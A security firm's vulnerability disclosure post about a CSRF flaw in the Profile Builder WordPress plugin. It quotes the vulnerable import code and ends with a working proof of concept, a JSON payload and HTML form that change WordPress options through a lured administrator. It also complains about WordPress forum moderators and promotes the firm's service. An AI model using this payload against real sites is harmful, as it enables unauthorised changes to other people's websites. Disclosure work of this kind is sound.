10 Feb 2022

Our Proactive Monitoring Caught a CSRF/Option Update Vulnerability in a WordPress Plugin Used by Our Customers

One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. We have now expanded that for our customers, by running plugins used by our customers, even when code in them is not updated, through the same system on a weekly basis. Through that, we caught a less serious variant of one of those vulnerabilities, a cross-site request forgery (CSRF)/option update vulnerability in Profile Builder. Which, besides being used by at least one of our customers, is used on 60,000+ websites according to wordpress.org’s stats.

CSRF/Option Update

Among the add-ons for Profile Builder that ship with the plugin is Import and Export, which is described this way:

With the help of this add-on you will be able to export all Profile Builder Settings data to a .json. You can then use this file as a back-up or you can import this data on another instance of Profile Builder.

It turns out that the underlying import code isn’t restricted to importing data for the plugin, but allows updating arbitrary WordPress options (settings). That code is in the function json_to_db(), which is located in the file /add-ons-free/import-export/inc/class-pbie-import.php:

23
24
25
26
27
28
29
30
31
32
33
public function json_to_db( $json_content ) {
	/* decode and put json to array */
	$imported_array_from_json = json_decode( $json_content, true );
	if ( $imported_array_from_json !== NULL ) {
		$imported_options = $imported_array_from_json['options'];
		$imported_posts = $imported_array_from_json['posts'];
 
		/* import options to database */
		foreach( $imported_options as $key => $value ) {
			if( ! empty( $value ) ) {
				update_option( $key, $value );

That function is accessible through the admin page for the add-on, which is limited to Administrators:

14
add_submenu_page( 'profile-builder', __( 'Import and Export', 'profile-builder' ), __( 'Import and Export', 'profile-builder' ), 'manage_options', 'pbie-import-export', 'wppb_pbie_submenu_page_callback' );

While that limits who can access it, as the proof of concept below confirms, there isn’t a check for a valid nonce before allowing an import, which means that an attacker could cause a logged in Administrator to update arbitrary WordPress options through cross-site request forgery (CSRF).

It looks like another built-in add-on, Labels Edit, may have the same issue with its import functionality.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will turn on user registration, when the Import and Export add-on is active and when logged in as an Administrator.

Save the following content to a file and upload with the form below.

{"options":{"users_can_register":"1"}}

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=pbie-import-export" enctype="multipart/form-data" method="POST">
<input type="file" name="cozmos-upload" />
<input type="submit" name="cozmos-import" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Plugin Security Scorecard Grade for Profile Builder

Checked on October 13, 2024
C

See issues causing the plugin to get less than A+ grade

Leave a Reply

Your email address will not be published.